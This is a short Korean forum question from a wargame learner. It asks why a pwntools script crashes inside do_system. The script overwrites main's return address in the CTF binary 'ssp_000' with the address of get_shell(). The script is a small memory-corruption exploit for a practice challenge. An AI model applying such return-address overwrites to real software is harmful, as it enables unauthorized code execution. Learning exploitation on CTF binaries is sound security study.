바로 RET overwrite하면 왜 비정상적으로 종료되는 걸까요?
addr에 rbp+0x8를, value에 get_shell()의 주소를 입력하면
main()함수 스택의 RET가 바로 get_shell()의 주소로 덮여서 실행될거라고 생각했습니다.
근데 예상과 달리 비정상적으로 종료돼서 gdb로 확인해봤습니다.
get_shell까지 rip가 옮겨지는 건 확인했는데 do_system 함수에서 비정상적으로 종료되더라고요.
이렇게 하면 안되는 이유가 궁금합니다.
from pwn import *
p = process('./ssp_000')
pause()
p.sendline(b"d")
p.recvuntil(b"r : ")
p_ret = 0x7fffffffe540 + 0x8
p.sendline(str(p_ret).encode())
p.recvuntil(b"e : ")
shell_addr = 0x4008ea
p.sendline(str(shell_addr).encode())
p.interactive()
#pwnable
작성자 정보
답변
0